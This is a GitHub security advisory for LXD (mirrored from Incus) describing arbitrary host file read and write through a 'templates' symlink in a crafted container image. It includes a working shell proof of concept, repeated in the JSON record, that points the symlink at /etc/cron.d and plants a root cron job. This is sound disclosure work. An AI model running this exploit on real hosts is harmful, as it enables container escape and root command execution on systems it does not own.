GHSA-JPF8-86F3-WP38
Vulnerability from github – Published: 2026-11-06 18:53 – Updated: 2026-11-06 18:53Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
For container images, internal/server/storage/utils.go calls
archive.Unpack(imageFile, destPath, ...). The tar extraction path in
shared/archive/archive.go excludes device nodes, but it does not
reject a top-level templates symlink.
In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.
PoC
Below, we map the templates directory to /etc/cron.d on the host, but
it can be mapped anywhere. We then create a cronjob to run id as root.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC templates symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink
incus config template ls afrw-image-templates-symlink
# read
#incus config template show afrw-image-templates-symlink $FILENAME
# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc
Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260203144152-d1c8ba15d160"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-06T18:53:57Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479\n\n### Summary\n\nA specially crafted image can be used to read or create/write arbitrary\nfiles on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nFor container images, `internal/server/storage/utils.go` calls\n`archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in\n`shared/archive/archive.go` excludes device nodes, but it does not\nreject a top-level `templates` symlink.\n\nIn practice, this allows a malicious actor to access an arbitrary\ndirectory and edit arbitrary files in it.\n\n\n### PoC\n\nBelow, we map the templates directory to `/etc/cron.d` on the host, but\nit can be mapped anywhere. We then create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/templates\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n description: PoC templates symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * \u003e../afrw-image-templates-symlink.tar\nincus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink\nincus init afrw-image-templates-symlink afrw-image-templates-symlink\n\nincus config template ls afrw-image-templates-symlink\n\n# read\n#incus config template show afrw-image-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c \u0027id\u003e/pwned\u0027\\n\" | incus config template create afrw-image-templates-symlink poc-32\n#incus config template edit afrw-image-templates-symlink poc\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink;\npossibly leading to command execution.",
"id": "GHSA-jpf8-86f3-wp38",
"modified": "2026-11-06T18:53:57Z",
"published": "2026-11-06T18:53:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/security/advisories/GHSA-jpf8-86f3-wp38"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48752"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/734fcc4d2c8fd0332d42010e34fe856077c2f7f3"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/79f3879047b94344e17750551fddc74ed7f14ff7"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/8a3b8d77a0279c3a9da15f4c4aa639ef0631d805"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/be6df3b49e79344ec461daadd82d80139697dc1a"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/commit/cbefa31ae0da8fd96361178aed3a3c631e098fef"
},
{
"type": "PACKAGE",
"url": "https://github.com/canonical/lxd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "LXD has arbitrary file read+write on host via templates/ symlink in malicious image"
}
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| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
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Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
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